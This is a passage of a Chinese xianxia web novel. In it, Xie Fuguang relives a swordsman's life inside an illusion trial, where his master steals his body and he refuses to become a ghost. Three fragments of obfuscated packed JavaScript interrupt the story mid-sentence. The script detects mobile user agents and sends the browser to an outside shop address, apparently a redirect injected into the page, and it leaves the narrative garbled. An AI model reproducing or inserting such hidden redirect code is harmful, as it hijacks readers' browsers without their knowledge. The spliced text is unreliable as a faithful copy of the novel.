他唇畔划过一丝笑意,此方空间被黑雾和血气笼罩,透不进日光,但没关系,他记忆里有一个像光一样的人,他永远记得那份温暖,所以甘愿和光同尘。 万里悲丘,飞来石畔,烈日与黄沙依旧。 【恭喜渡业山谢扶光……顺利通关化影境……】 空中金字向他们致以祝贺。 例行公事,也喜气洋洋。 通常上一场秘境通关后,舆图隔一炷香时间才会更新。 等待的时间没有人说话,谢扶光垂眸立着,刀尖有意无意轻划黄沙。 舒扬舟走过去瞧,那字迹太过龙飞凤舞,非他这等凡俗能辨清。 崔惊厄隔老远瞥来一眼,喉结微动,但没说什么。 她写下的字是“英雄”。 恍惚间他脑海中浮现碎片似的零散画面。 一个小孩由一儒雅大人带着练字,练的就是这二字“英雄”。 “当英雄需要有三头六臂那么厉害么?”那孩子抬起脸问,竟与幼年的他生得一模一样。 大人闻言被逗笑,揉着他的脑袋说:“你见过几个生来就有三头六臂的?古往今来,世上英雄多是凡俗。” “大家都是凡俗,那为什么他们是英雄,别人就是狗熊呢?” “因为‘英雄’是杯醇酒,往往需要漫长的磨难与坚持来酿。”大人说着,在宣纸上落下这两字,“短短二十画,笔笔泣血啊……” “李兰允……”崔惊厄嘴唇动了动,突然问道,“他的投影青石编号是多少来着?” “什么?”黎暨不知他为何有这一问。 惟谢扶光静静与他对视一眼。 “哎,秘境舆图更新了!”这时卢笑绒叫了一声。 众人目光立即被吸引过去。 “这一次,我们不休整了,”谢扶光挑起锋锐的一眼,“李兰允用命为我们挣来的时间,该当以命相报。” 78.黄粱梦 事情有些超乎谢扶光的预料。 熟悉的天旋地转后,飞来石的传送停下时,她脚下依然是万里悲丘的漫漫黄沙,其余人却都不见了,就像茫茫天地只剩下了她。 “怎么回事,难道厉鬼境对我排斥,所以我才进不去么?”谢扶光质问飞来石。 飞来石死了一样,拒不回答。 半盏茶前,谢扶光在白光指引下轻易锁定了厉鬼境位置,一行人被舆图传送至厉鬼境入口处,一切到这里还非常顺利。 他们没有贸然进入,尝试先在外部对厉鬼境进行刀、剑与符咒攻击,厉鬼境岿然不动。 毁境不会这样轻易,这在他们意料之中,因而也没有太失望,一试不成,众人便老老实实将灵力渗入飞来石,打算从内部寻觅毁境之法。 差错就出在这一步。 其余人全都消失不见,唯独谢扶光回到原点,同飞来石面对面相看两相厌。 厉鬼境不限人数,她也按要求向飞来石滴入了灵力,一切操作全走的正规流程,按道理不该出问题才对。 她深呼吸几口,勉力定了定神,打算重新再滴一次灵力,抬起手却停顿了少顷。 那一瞬间,她有些忘了自己要做什么。 这种转眼忘事的现象在她身上很不常见,可以说是从未发生。 谢扶光轻抿唇,她感到不对劲,摸出怀里的秘境舆图。 舆图上原本散发幽幽白光的厉鬼境此刻已变为赤红。 赤红色,意味着她正身在其中。 谢扶光轻挑剑眉,眼下情况比她想象中要好些,起码她没有如先前猜测的那样,被飞来石传出。 但不难想见,他们来时这些人应已四下分散,而且…… 谢扶光敛着眸子心下微沉,她脑海中同行伙伴们的面目已有些模糊了。 厉鬼境一直在吞噬她的记忆,此地不宜久留。 记得当初在器墓迷阵,她也走过假假真真的诡异甬道,那时她先是斩杀扮作崔惊厄和卢笑绒的假人脱出幻象,又一刀捅穿地心落入镜面阵,这才寻见郎绝刀真正藏身的祭坛。 这样想着,她向四周边走边探,试图也找出这一方空间的破绽。 然而厉鬼境里的万里悲丘与现实中别无二致。 黄沙漫漫望不到边,举目四顾,除了她再无半个人影。 屋漏偏逢连夜雨,事情毫无进展的同时,她还明显感到,她的步伐在越来越沉,意识也愈渐混沌,在经过一个小沙丘时,足下一陷,竟踉跄着栽倒在地,上下眼皮打架不休,绵软的纤瘦小臂支撑不起灌了铅一样的身体。 她爬不起来了。 谢扶光勉力吊起最后的意识,在左腕与崔惊厄牵过姻缘线的位置刻上自己的姓名,以此提醒她的身份。 刀尖落下最后一画,她头一歪,终是彻底昏了过去。 她刚阖上眼睛,原本十万年如一日的“万里悲丘”骤然变了风云,黑气如雾从四周向她蔓延,迅速将她整个人围裹,黑气缠绕间,她左腕刻下的血字也缓缓发生着变化,“颜琅”二字鸠占鹊巢,取代了谢扶光姓名。 人界,康城,李兰允和江星的旧时小院。 颜琅以黑气化掉李兰允尸身,轻一拂袖,眼前即浮现六块虚影,与进入厉鬼境的六名弟子一一对应。 “困住我又如何?”他笑得讥讽,“无需我动一根手指头,厉鬼境就能要他们的命。” 他视线牢牢锁定虚影中属于谢扶光的那一块:“不知谢大小姐若在我的位置,见我所见,感我所感,痛我所痛,会如何选呢……让我猜猜,你们这群正道天才、修界栋梁,最终能活几个?” “好戏,开场了——” “啪——” 台上打板,好戏开场,唱响一折游园惊梦。 “醒醒,”谢扶光肩膀被身边人搡了一下,她勉力掀开难舍难分的眼皮,听搡她那人调笑说,“好不容易叫动你来听戏,怎么一错眼就睡着了?” “听什么戏?嘶……”谢扶光毫无印象,她脑袋晕乎乎的,里头像有两斤浆糊晃荡,身子稍一动,左腕即是一疼,垂眸看去,却是完好无损,压根没什么伤。 不过随着这一眼,许多记忆回了笼。 她记起他叫颜琅,是烟萝峰的刀修,师承鸣皋刀圣,身边这些都是他的师兄弟,与他关系很近。 “梦回莺啭,乱煞年光遍……” 台上咿咿呀呀唱得忘情,师兄弟们轻摇着头跟哼,谢扶光久久未能入戏。 游园的是那痴男怨女台上人,惊梦的却是他这一枕黄粱台下客。 总觉得还有事等着他做,可又忘了具体是什么,于是他这一颗心提不起也放不下,颇为难安。 “腚上长钉子啦?”身边人见他躁动问道,说话时两眼仍盯着戏台瞧。 谢扶光也说不清心上这点不安分的由来,只能含混应道:“我总觉得有事忘了办,莫不是今日的刀还没练?” “哎哎哎,都出来玩了,少提这些。” “都知道你师父对你要求高,”另一人插话进来,“但现下又没在她眼皮底下,她老人家手伸再长,也不至管到这儿来吧?还是好好欣赏这……良辰美景奈何天吧~”话说到最后,他调子七拐八扭唱起来。 谢扶光毫无艺术细胞,听不出戏文好坏。 他只是嗑着瓜子幽幽转了个念头:还不如上茶楼听说书。 戏近尾声时,打从门外走进个人,看模样是位妙龄女子,细长身形,五官美艳,只是颧骨略高,平白在俏脸上添了几分刻薄。其人一袭黑衣,胭脂也用的暗色,不善目光在场中兜转一圈,精准落定在谢扶光面上。 这人一来,身边师兄弟们小声的哼曲儿声便断了,一个个臊眉耷眼垂下脑袋,谢扶光反应慢半拍地怔了会儿,一时很诡异地记不起此人是谁,在好像不太熟悉的记忆里翻了翻,才想起这臭脸小姑娘竟是他师父鸣皋刀圣,芳龄已五十多岁了。 许是被吓着了,谢扶光看戏时无波无澜的一颗心兀地一记震颤,再回神时已见鹌鹑似的师兄弟们都做好了挨训准备,他便也从善如流低下头,心里却大不敬想着:师父她老人家长得怪好看,就是面相太不可亲了些。 事实证明,相由心生,鸣皋刀圣性子也别有一番火爆,好在刀子嘴豆腐心,对她这个徒儿还是关心的,只是方式欠佳。 “你的刀练得还不如我,怎么有脸出去玩?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104605|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“您是师父,徒儿自然与您差得远。”谢扶光辩驳。 “不行!”见他不上进,鸣皋刀圣更气了,也不怕长褶子,直将眉头蹙得能夹死个把苍蝇,得亏人够好看,才堪堪降服了这死亡表情,“你一定要超过我!必须得超过我!” 刀圣她老人家如此一门心思盼自己好,谢扶光有点受宠若惊,他郑重一颔首,承诺道:“师父,徒儿会好好修习,定不让您失望。” 谢扶光凡事很能付出辛苦,更何况他是真心喜欢刀,这日过后,他比从前更要努力,谢绝一切娱乐,每日两点一线,要么竹林练刀,要么下山除妖邪,他天资好,又肯下苦工,进益堪称一日千里,年纪轻轻凭本事为自己赢来个“无失圣手”的名号。 修界不乏有声音赞他“青出于蓝而胜于蓝”、“此子资质远胜其师”。 每每听到有拉踩鸣皋刀圣的言论,谢扶光都会第一时间制止对方妖言,生怕传到师父耳朵里,她老人家那本就不甚和蔼的脸拉得更加耸人。 可世间最密不透风的墙也难止流言,类似的话积得太多,终究还是让鸣皋刀圣知道了。 那是一个风和日丽的午后,刀圣提早等在谢扶光平日练刀的竹林,一见他,先提刀在他面门招呼了一记杀招。 好在谢扶光一直提防这怪美人突然发难,于电光火石间挥刀格挡,刃与刃相互剐蹭,迸出火花星点,短短半盏茶功夫,两人已交手百余招,越往后谢扶光越占上风。 就在他的郎绝刀刃以绝对优势压倒对手刀身,直抵其咽喉之际,鸣皋刀圣兀地撤了力道,一贯阴云密布的脸上竟难得现出道彩虹,笑着道了句:“痛快!” 谢扶光:…… 谢扶光一时有点没反应过来,只好也随了句痛快,还不忘陪了两声干笑。 鸣皋刀圣似没看出他的敷衍,轮廓锐利的眼半眯成一个自以为慈祥的弧度,轻拍谢扶光的肩背,满意道:“有长进,不愧是天生练刀的好苗子,不枉我这么多年……精心培养。” 最后四字他咬得很重,听入耳中让人不太舒服,然而她紧跟着又说:“小琅,下月就到你二十五岁生辰了吧,你最近刀练得不错,到那时为师定好好赏你。” 对她画的奖赏大饼,谢扶光不感兴趣,不知为何,师父分明待他极为重视,这么些年看下来,也是真心实意为他着想,可他就是心存着隐隐的忌惮,挥之不去,潜意识里有个念头不时蠢蠢一动,就像……他曾遇过一个与师父相似的人,并在那人身上吃过苦头。 春风得意时,光阴如流水,一月时间转眼即过,谢扶光迎来万众瞩目的二十五岁。 少年人不懂藏拙,近两年,他除过不少顽固妖邪,彼时万里悲丘还未成为弟子们的试炼场,他在几次宗门联合考核中大显身手,将“颜琅”的名字打得响亮。 月明皎皎,落桂添香。 同道劝酒,推杯换盏。 一场好不风光的生辰宴。 饮酒误事,谢扶光不喜这样的场合,佯醉遁出。 入夜微冷的风拂散几许醉意,他并两指按于咽喉,将饮下的酒逼出大半,这才提步前往鸣皋刀圣的寝居。 适才席间有道童传话,称刀圣备了厚礼等他。 79.冲云恨 所谓“厚礼”,谢扶光今日见了太多,他其实没多期待。 相较那礼,更令他想一探究竟的还是鸣皋刀圣这个人。 这些时日,他觉得自己有些奇怪,就像……灵魂割裂一分为两份。 他时而感念师父用心良苦,对她畏多于敬能躲就躲,时而警惕其另有图谋,时而又心生一股难以言说的亲近之意,每每此意升起,他总要起一身鸡皮疙瘩; 他时而满意自己刀下杀招所向披靡,极难破解,时而又能精准找出每一招式中的破绽,自相矛盾; 除去如上这些,最令他匪夷的是,有几次入冷泉锻体,他竟下意识步入女修池子,好在运气不错,那几次池中并无女修在场,这才未流出恶言。 若非自己就是修道之人,他甚至要疑心被下了降头,诸事既顺又不顺,邪门异常,行动还是谨慎为宜。 鸣皋刀圣品味不甚佳,寝居丑得实在配不上她。 庭院很大,显得空空荡荡,仅有的几件摆设古朴呆板,又极致对称,丑得十分肃穆端庄。 “师父。” 谢扶光轻叩木门,檐下惊鸟铃摇晃几声刺耳锐响,在这一瞬他心头对鸣皋刀圣的警惕占据上风,握郎绝刀柄的手微紧。 似乎受屋中人意念控制,惊鸟铃很快止了响动,刀圣含笑的声音传出,相隔一道门扉听来竟让人觉得她此刻颇为愉悦。 鸣皋刀圣愉悦……那一定是错觉! 但谢扶光心头还是被下了蛊一样微软,自觉小题大做,刚升起的那点忌惮很快又散了。 “小琅,进来吧。” 谢扶光依言推门。 而就在门扉打开的一瞬,他清晰感到原本轻触门板的掌心之下骤然一空,似凭空陷进了什么虚无。 诡异的触感霎时拨动谢扶光身体里闲置的警觉,他脑中警铃大阵,回音冲撞胸腔的响动比檐下那惊鸟铃更加惊心。 谢扶光足尖点地借力,身形向后急掠,然而仍是迟了一瞬。 千钧一发的关头,他那仿佛割裂了的两个灵魂找死闹起分家,一个转身欲逃,另一个却似受到遽烈打击,脚步钉在了原地。 高手过招时,一念之差能救命也能丧命。 他退的不及时,鸣皋的门扉从内大开,丝丝乍闻平淡实则暗藏玄机的幽香从中泄出,轻易牵动他体内未被全部逼出的残余酒气,将他全身经脉冻了个彻底。 席间酒是鸣皋准备的,众宾饮宴时毫无异样,却是掺了这幽香才会发作。 虽不知这怪女人要干什么,但谢扶光深觉,自己若落于她手必难有好下场。 他紧咬牙关,一面跟滞涩的经脉相搏,一面勉力压制想要冲上前向师父问个究竟的作死冲动,调用浑身真气强行将近乎凝结的经脉冲开,一时气血翻涌,喉头一腥,呕出大口黑血染污了院中寥落的残枝败叶。 郎绝刀尖拄地,谢扶光撑着刀柄一副气力耗尽的虚弱模样,身体却暗暗蓄力,只待等会儿鸣皋过来时给她致命一击,再寻机会遁逃。 他与鸣皋交过手,这女人打不过他,遭遇背叛时,实力便是他最强也是唯一的倚仗。 鸣皋不知是太过自信,还是情绪翻涌乱了行事的章法,这会儿眸中晕开癫狂的红,显见对谢扶光没什么警惕,正中她的下怀。 五米,四米,三米…… 谢扶光以目丈量两人间距离,在与鸣皋间隔仅不足半米之时,他兀地暴起,全身气力顺着右手经脉灌注郎绝,人刀合一,如一支流矢直取她咽喉而去。 他刀道造诣本就高深,此刻又是孤注一掷,视线聚于一点,刀随眼动,这一霎真真动了杀心,只想以最快方式了结她性命,甚至不顾之后将受何审判,他的话又有没有人信。 这样的一刀本该无任何偏差,鸣皋也显然未料到这一刀,甚至来不及做反抗的准备。 然而,他失手了。 腔子里跳动的心脏竟不知因何而恻隐,在利刃入肉前驱使郎绝强行一偏,只是刺穿了鸣皋的左肩。 鸣皋在这突然一刀的劲力下向后数步趔趄,纤瘦后脊重重撞在门板,木质门板碎裂,几条尖细碎木扎进她背部,声音令人牙酸。 鸣皋变了神色,瞪圆了眼朝他看来,她惊讶似多于恼怒,一时甚至忘记了疼痛,就像谢扶光会反击这一刀是多难以置信的事。 谢扶光无心探究她神情,饶是恨得牙痒心头战意炽盛,依然转头就跑。 仓皇间他恍然记起有人要他心中永存一念生,他忘了那人是谁,仍是下意识依言照做。 可惜这次不是他不想活,而是此凶险之地机关重重非要他死。 他轻功卓绝,身轻如燕顷刻已至院门,可鸣皋为今日筹谋数年,岂能如此轻易将嘴边的肥羊放跑。 谢扶光不知她在身后做了什么小动作,但听“咔哒”一道机关轻响,整片小院树挪石动,显露出足有半个院子大的法阵,就连根根杂草都牵出如刀韧丝,在半空织就一张密网,将他困于其中。 先前只觉这院子丑,未承想竟是机锋暗藏,每一处摆设皆是阵法一环。 谢扶光是个纯正刀修,从未接触过阵法相关知识,对破阵毫无头绪。 好在他运气还不错,环视一周,喜人地发现方才调用真气冲破滞涩经脉时,他喷在杂草上的那口黑血将这“密网”撕开了一道豁口,就要尝试从那处破绽突围。 然而,他提气刚要施展轻功,方才还轻如雏燕的身体却如被什么东西附体一般,变得又僵又重,他愣是没飞起来。 又一次关键时刻掉链子,谢扶光简直欲哭无泪…… 不对,他忽觉脸颊一痒,抬手抚过,讶然发现他那旱死的泪腺不知何时竟降了两滴甘霖下来。 紧接着,但听一阵穿梭声响,五条锁链分别从东西南北中五处逶迤而来,死死缠住了他的四肢与躯干。 这下,他便真是插翅也难逃了。 适才的震惊过后,鸣皋捂着左肩徐徐朝他走来。 “小琅,我还真是小瞧了你,”她抬手拭去谢扶光脸上滴落的泪珠,在那里留了两点染血指痕,“你不该爱我么?” 说着,她舌尖轻舐过指腹上挂的那滴泪,微蹙秀眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115036|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,似在品其酸涩:“是了,你就是爱我,可你那么爱我,怎么舍得出手伤我的?” 她说着陡然发了狠,尾音随之变调,流露浓郁阴戾,未受伤的那只手骤然探出,猛地攫住谢扶光脖颈。 鸣皋用了极大力气,谢扶光只觉喉骨剧痛,近乎无法呼吸,但饶是如此,他还是听到自己艰难问道:“为……为什么?” “你三岁那年被我捡回来,你该不会以为我是发了善心吧?”谢扶光说不出话,好在鸣皋也不在意他回不回答,兀自继续道,“我留下你,只因我一眼瞧出你资质不凡,探你灵脉更是世间罕见,我养你,是为了夺你这副身体,若非如此,你在我眼里就是个垃圾,还不如一条听话的狗!” 她松开谢扶光脖颈的钳制,嘶声控诉:“你会找你那些师兄弟玩乐,你会溜下山听戏,你每日只练刀六个时辰,而我没有娱乐,从不为任何事分心,就连做梦都在练刀,凭什么你小小年纪能敌我几十年道行?又凭什么我注定囿于天资,任凭再怎么努力最多也只走到这一步?” “我就是要换掉这副没用的身子,看一看那武道之巅!”说到这儿,她又哈哈大笑起来,“这么多年,我的沥魂指终于练至十成火候,你这副宝贝身体马上就是我的了。” 谢扶光看着她。 其实他心中很平静,但眼里就是含着说不出的悲戚。 他分了个神想:这怪女人眼光真是差得可以,半晚上功夫他这破身体已掉了两回链子,眼下更是情绪失控,下一步不会还要失禁吧? 真不知这样一副不听话的皮囊,如何值得她大费周折至此。 然而透过他表情,鸣皋窥不见他心中所想。 谢扶光满目哀色,她只当他因她伤透了心,总归想要的东西近在咫尺,她便大发善心宽慰他说:“小琅,其实你也不用太难过。我自知不擅掩藏情绪,若不用些手段,不待成事怕就叫你瞧出了端倪,于是我早早在你魂魄里掺了缕情丝,保你对我不生异心。所以你看,这么多年你也不是真的爱我。” “况且就今日情势来看,这情丝还是差了些火候,从前我还以为,便是把心剖给我你也该是心甘情愿的。”肩膀的痛没有破坏她的好心情,起码在谢扶光记忆里,这是她最高兴的一天,她笑得近乎战栗。 就在二十五岁生辰的明月夜,这具年轻而强大的、署名“颜琅”的躯壳里,悄然换了一个灵魂,除了当事人没有人知道。 鸣皋刀圣那具空荡的躯壳莫名“横死”于寝居,而真正颜琅的魂魄被鸠占鹊巢的新“颜琅”施了道禁制,困于万里悲丘。 颜琅作为这一代首屈一指的青年才俊,曾将灵力注入仙盟命石,魂死则石灭,势必戳穿鸣皋的身份谎言,所以鸣皋非但没杀他,还在他魂魄上加了道保护,保他风吹日晒不散,更自尽不能。 与他躯壳一并离开的还有魂魄里那缕植根多年的情丝。 失了这情丝,再想起鸣皋时,谢扶光心脏再不复愉悦又小心的跃动,被欺骗的恼怒与被夺壳的不甘肆意引燃情丝掩埋多年的怨气,发酵成浓重恨意直冲云霄。 80.幻梦散 万里悲丘风景算不得怡人,好在阳光温煦,因此地折过太多生灵,还有不少怨魂作伴,谢扶光每日东拌一嘴,西吵一架,无须练刀,日日睡得晨昏颠倒,堕落,也自得。 冥冥中他总觉得曾遇过什么人,算命、说书……什么新奇事儿都体验过。 总归他现在还勉强算是活着,多些经历也不算什么坏处。 因此除去魂魄受困万里悲丘,没法四处游荡,又兼身体无形握不了刀,从前那些本事都学给了狗,谢扶光对今日境遇接受得堪称乐观。 话虽如此,该报的仇还是得报,该了的怨也还是得了,总不能平白遭人夺了躯壳,还一声不响吃一场闷亏。 况且他能感到胸口始终躁动着一股恨意,浓重到仿佛非毁天灭地不得纾解。 这股恨意不知何故,未能与他的情绪达成很好衔接,他心下发着狠,脑子依旧能理智思考。 鸣皋筹谋多年,他又因着那缕情丝失了该有的警惕,棋差一着输得并不冤枉。 而今鸣皋为石他为卵,贸然相击不可取,得想个中用的法子,也打她个措手不及。 阳光炽烈的白日,怨灵们通常不出来作死,惟谢扶光自恃有鸣皋在他魂魄上加的保护,无惧烈日,不与其他同僚共苦,在万里悲丘很是招人嫉恨。 他把自己摊开在一块巨石上烙饼,边懒洋洋晒太阳,边捋着他硕果仅存的两点胜算。 其一,鸣皋那一大通怨妇唠叨里,有一句还算能入耳——谢扶光的确是如假包换的奇才。 鸣皋苦学多年的沥魂指,谢扶光只看她出手一次,就将其中奥妙领会了七八成,若能再见她,他约莫有四至五分把握夺回身体。 其二,鸣皋如今虽占着他躯壳,对其却远不如他自己熟悉,磨合多年,他了解那具身体每一条肢体与躯干的反应速度、每一次挥刀最多能达到的力量,甚至哪个地方有痒痒肉,哪个关节曾脱过臼碰力气大了会疼,他都了然于心。 知彼知己,无论到何时都是决胜关键。 谢扶光越分析,越觉得自己应当尽早见到鸣皋,最好趁她还没将他的身体用熟,就一鼓作气夺回来。 然而横亘面前的最大问题是:受鸣皋设下的禁制困着,他出不去万里悲丘。 鸣皋忧患意识显见不强,自觉他身体都丢了,今后很难再掀起什么风浪,设的禁制不算高深。 但如今的他仅是轻飘飘一缕魂,不及从前肚中二两酒的分量,想要出去,没法靠自己,只能求助于外界。 而他无手可画通讯符纹,也没有传讯类法器傍身,叫人这条路走不通,万里悲丘又地广之至,等误撞到此处的冤大头怕是得等到他那具肉身化土,更何况鸣皋还在他魂魄上施了屏蔽与障眼法术。 他的出路看似已被堵死了。 行到水穷处,有的人相对文静,通常放弃挣扎,闭眼优雅等死,亦或泣下几滴我见犹怜的眼泪; 有的则粗犷些,用剩下的时间将上天入地、南北西东能记起的全部活物一一痛骂一通,向世间开炮一串又一串芬芳; 有的就更奔放了,譬如谢扶光,他不愿等死,也懒得费口舌骂街,总归穿鞋的有所忌而光脚的无所畏,他只想以实际行动,轰轰烈烈炸一场大热闹出来。 如何炸出这个“热闹”,谢扶光又筹谋了两个月。 期间他感到胸腔位置那颗无形的愤怒心脏日渐老去,塌缩枯萎成变态的形状,他偶尔会揉揉并不存在的胸口,略作安抚那蠢蠢的躁动,但多半时间懒得理会这些。 功夫不负有心人,谢扶光日有所思夜有所梦,终究在一夜梦里寻着了这“热闹”的答案。 梦中是一片湖,他认得那处叫千秋雪,埋葬了不计其数修士与妖魔的骸骨。 湖里有个声音告诉他,有一式刀法名“一念惊鸿”,领会此念,可以心为刀,世间万灵皆受他驱使,无须利刃,世间万物皆可化作无匹利器为他所用。 梦中人所言是真是假,谢扶光不知道,但无论真假,他都要试试,大不了依照这个思路,创一个自己的“一念惊鸿”。 他开始频频邀约万里悲丘的其他怨灵与他打架。 可无形无体的东西不会动手,群体骂战已是能闹腾出的最大场面,谢扶光孤魂立于众灵中心,并不开口,专注在心里发刀,他在心里杀死了骂他的所有,扫视一圈发现,死在他心里的那些依然在骂。 谢扶光有生之年,难得领会不了一个招式的要领,比被围着骂还令他烦躁。 “闭嘴!”他低喝出声,喝完才觉出这不是请教问题的应当态度,缓和了几分情绪又道,“你们骂了这么久,我都没还嘴,现在我有个问题需要你们回答。” 怨灵们渐止了声音,等着听他嘴里能吐出什么象牙。 “你们会因为什么受其他人驱使?”谢扶光问。 他想找到一念惊鸿那一念。 众灵再度躁动。 这小子竟妄想驱使他们? 早该知道,他嘴里没象牙! “钱,有钱能使鬼推磨!” “因为打不过。” “这得看那‘其他人’是谁了,若是我喜欢的人,自然随便她驱使……” 一耳朵的七嘴八舌灌下耳洞,积淀出一肚子的鸡同鸭讲,而且……还怪气人的。 因为最后还有几只小嘴淬毒的怨灵特别强调道:“总之你这样的别说驱使,每天不挨骂就不错了。” 谢扶光是个刀痴,这日后又一连苦思数月,近乎将所有能入眼的东西都在心里刀了一遍,胸中杀意依旧难做到外化于形。 一晃夏尽秋至,又一晃秋去冬来。 万里悲丘的冬夜冷得厉害,寒夜最长的那天,一弧冷月结束漫长值守,行将消散于第一缕晨光。 谢扶光就在这一霎等来了另一个转机。 从前他一心想着练成“一念惊鸿”,从内求索破局,基本已打消求助外界的念头。 然而一个声音为他重启了这道门。 “颜琅,死时生魂离窍、一霎怨念冲天,厉鬼降世的必备条件里,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128423|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三中占二,生前修为纵尚未达近神境界,但你天资卓绝,灵骨灵脉俱相当罕见,若非离世太早,假以时日必能达此修为。”那声音道,“三个月前,你从前的佩刀郎绝自甘堕入鬼刀一列,以此为诚意,向我替你求了个机会。” “三月来,我观你胸中恨意无一时休止,夺壳之仇,不报非君子,我很欣赏你,所以也愿意对你多些宽容,勉强算你达成了堕鬼条件。” “颜琅,”说到这儿,声音音调陡然转厉,“我现在问你,你愿不愿意堕鬼号令外界千万妖魔,去找那害你之人索命?” “堕鬼后会怎样?”谢扶光保守问。 若只是称呼和物种上的差别,并非不能考虑。 “一旦堕鬼,便拥有庞大权力与极致力量,但你要时刻牢记自身立场,彻底抛下作为人的一切,统率妖魔界,打败修界占领人界,做这偌大世间的王!”声音的尾音带着激动的颤。 “我若抛不下呢?”谢扶光又问。 人界自有千般不好,却亦有那千般好。 烟火漫官道,晨露缀柳梢,再不济还有那咿咿呀呀戏中闹,博得看客一笑。 他确然有恨,可若仅有恨,却也委实单调。 闻言,声音冷笑:“但凡堕了鬼,你便只能抛下,休要妄想耍花招。” “凡间盛一分,厉鬼损三分,你抛不下人,就只能抛下你的命。” 说话时,谢扶光感到体内亟欲堕鬼复仇的冲动缓和了七八分。 “我不耍花招,”她笑道,“你也别拿我当工具使,若我没猜错,人界覆灭鬼蜮称王,最乐见的应是你吧?” 声音没有响起。 “我颜琅再不济也不至沦落到为一个面都不敢露的东西做事,只是可惜,辜负郎绝一片好意了。”谢扶光一口回绝。 “机会只有一次,你少年心性意气用事,做出草率选择,可有想过那不共戴天的大仇又当如何得报?鸣皋刀圣,你要放弃杀她了么?” 闻言,谢扶光也回以一句冷笑。 “报仇的事,我自会另寻他法,不用当鬼,作为人,我也一样能赢她!” “我偏要堂堂正正出现在她面前,让她看看,她练刀不如我,不可全推给天资,即便没有那根骨绝佳的肉身,仅凭魂魄,我也一样能杀出这囚笼,夺回我的身体,也取了她的命!” 谢扶光话语铿锵,尾音落下,先时声音就再没开过口。 他只当声音背后那东西被自己吓缩了回去,有点得意地就要回到平常倚来睡觉的石头,迎着朝阳继续一边“烙饼”一边谋划复仇大计,回头却见周遭空间不知何时已悄然发生了变化。 依旧是万里悲丘望不见边际的黄沙,但时令明显已非严冬,视野尽头甚至立着两道人影,须知在这鸟不拉屎的地界,人可是稀罕货。 她看过去时,远方两人也同时朝她看来,像已等了她很久。 如有所感,谢扶光轻仰头,正见半空现出一行金字。 【恭喜渡业山谢扶光顺利通关厉鬼境。】 81.“各显神通” 远处两人分别是崔惊厄和宁磐。 随金字出现,谢扶光真正的记忆也跟着回笼,刚走出那假假真真,回归现实世界,她心中还有些空茫。 “谢扶光,你怎么通关的?”宁磐刚上前就问。 谢扶光将厉鬼境中一切简单告知,推测说:“幻境既终止于最后的选择,我猜测通关条件或许是在穷途末路之际,依旧选择不去堕鬼。” 闻言,对面两人脸上各有各的精彩。 “你们有其他想法么?”谢扶光以为他们不认同,遂问。 宁磐轻锁着眉头:“若说不堕鬼就能出来,倒也是这么回事,只是……” 他城墙厚一张脸皮难得有些抽搐,崔惊厄遂接过话来,替他说:“我们的幻境里,没有声音给出堕鬼的选项。” “换句话说,我们两个都没有被剥魂夺壳,也没走到受困万里悲丘那步。” 谢扶光:??? 敢情厉鬼境单针对她一个?! “应当不是,”崔惊厄一眼看穿她念头,“我们在厉鬼境中,虽都用的颜琅身份,具体选择却受到本人性格影响,每个人经历多少有些出入。” “譬如我,”他现身举例,“我警惕心较高,平素多疑,在鸣皋刀圣把我叫去寝居前,侥幸先窥见了端倪。” 崔惊厄用词谦虚过分,事实上,厉鬼境里,他反杀鸣皋,搞了个不小的动静出来,不止如此,他还留了后手,将收集到鸣皋意欲对他图谋不轨的证据公之于众,毁了她的身后名。 宁磐在谢扶光出来前,听过更详细版本,此刻看着崔惊厄,不无崇拜。 而谢扶光只是问:“为什么你这么警惕?” 平心论,谢扶光虽有打架上头时易莽的毛病,却绝非粗人,神经对潜藏的大部分危机都很敏感,可受到颜琅体内植根的情丝影响,她愣是麻痹了敏锐,没意识到鸣皋真实意图不说,还时常觉得她对徒弟修炼这事挺上心。 崔惊厄却能很早发觉,如此警惕,其实有点超常了。 “我忘记了。” 崔惊厄只是摇头,这份警惕的成因或许存在于两年前那大段被篡改过的记忆里。 记忆的问题非人力能解,谢扶光没有再问,但她的心思也没能很快从此事移开。 丢掉记忆,就像遗失了部分自己,一直这样终究不是办法,况且记起前世死因,对不日后必将与颜琅再打的那一仗亦有益处。 谢扶光突发奇想,希望能再对话一次天道,问一问有没有拿回记忆的法子,若有,这次又需要付出怎样的筹码。 她魂魄里的鬼气解了,思索时蹙眉的习惯却已成形,两弯剑眉聚拢,显得心事重重。 崔惊厄有心逗她展眉,眼珠一转就卖了宁磐:“快别说我了,宁道友可是头一个出来的,比我还早得多呢。” 谢扶光半是真惊讶半是配合,双瞳微扩。 实没想到,药王金殿这养尊处优的小少爷,尽管看着愚蠢矫情莽撞话多了些,重要关头竟如此不掉链子! 